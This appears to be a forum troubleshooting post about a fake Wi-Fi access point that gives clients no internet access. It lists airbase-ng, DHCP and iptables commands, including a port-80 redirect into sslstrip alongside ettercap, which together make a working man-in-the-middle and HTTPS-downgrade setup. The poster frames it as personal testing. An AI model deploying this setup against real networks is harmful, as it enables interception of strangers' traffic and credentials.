I have been trying to set up a fake AP for testing purposes. I was successfully able to get airbase-ng
working and set up a DHCP server for the clients to obtain IP address, which all works. My laptop has an external wifi card for the AP and a internal for internet. However, when I startup the AP, the clients (my phone) cannot perform web browser searches and neither can my laptop, even though the laptop has a second wifi card not in monitor mode.
Here is my configuration:
sudo ifconfig wlan1 down
sudo ifconfig wlan1 up
sudo airbase-ng -c 11 -e ANET wlan1
sudo ifconfig at0 192.168.1.1 netmask 255.255.255.0
sudo ifconfig at0 mtu 1800
sudo route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
sudo iptables -P FORWARD ACCEPT
sudo iptables --append FORWARD --in-interface at0 -j ACCEPT
sudo iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo /etc/init.d/isc-dhcp-server start
ip_forwarding is enabled.
This is from a tutorial. Then I run sslstrip and ettercap.
This is my DHCP subnet configuration
Authoritative;
Default-lease-time 600;
Max-lease-time 7200;
Subnet 192.168.1.0 netmask 255.255.255.0{
option routers 192.168.2.1;
option subnet-mask 255.255.255.0;
option domain-name "ANET";
option domain-name-servers 192.168.1.170;
range 192.168.1.2 192.168.1.40;
}
The dhcpd command responds with:
Multiple interfaces match the same subnet: wlan0 wlan1
Multiple interfaces match the same shared network: wlan0 wlan1
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
Multiple interfaces match the same subnet: wlan0 wlan1
Multiple interfaces match the same shared network: wlan0 wlan1
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
Multiple interfaces match the same subnet: wlan0 at0
Multiple interfaces match the same shared network: wlan0 at0
ettercap shows the DHCP request and ack from the client:
DHCP: [192.168.1.1] OFFER : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [192.168.1.1] OFFER : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [C0:BD:D1:15:2B:64] REQUEST 192.168.1.2
DHCP: [192.168.1.1] ACK : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
DHCP: [192.168.1.1] ACK : 192.168.1.2 255.255.255.0 GW 192.168.1.1 DNS 192.168.1.1 "ANET"
My IP address on wlan0 is 192.168.1.170.
Edits:
DHCP config:
Authoritative;
Default-lease-time 600;
Max-lease-time 7200;
Subnet 192.168.2.0 netmask 255.255.255.0{
option routers 192.168.2.1;
option subnet-mask 255.255.255.0;
option domain-name "ANET";
option domain-name-servers 192.168.1.170;
range 192.168.2.2 192.168.2.40;
}
Iptables:
sudo ifconfig at0 192.168.2.1 netmask 255.255.255.0
sudo ifconfig at0 mtu 1800
sudo route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
sudo iptables -P FORWARD ACCEPT
sudo iptables --append FORWARD --in-interface at0 -j ACCEPT
sudo iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sudo /etc/init.d/isc-dhcp-server start
sudo sslstrip -f -p -k 10000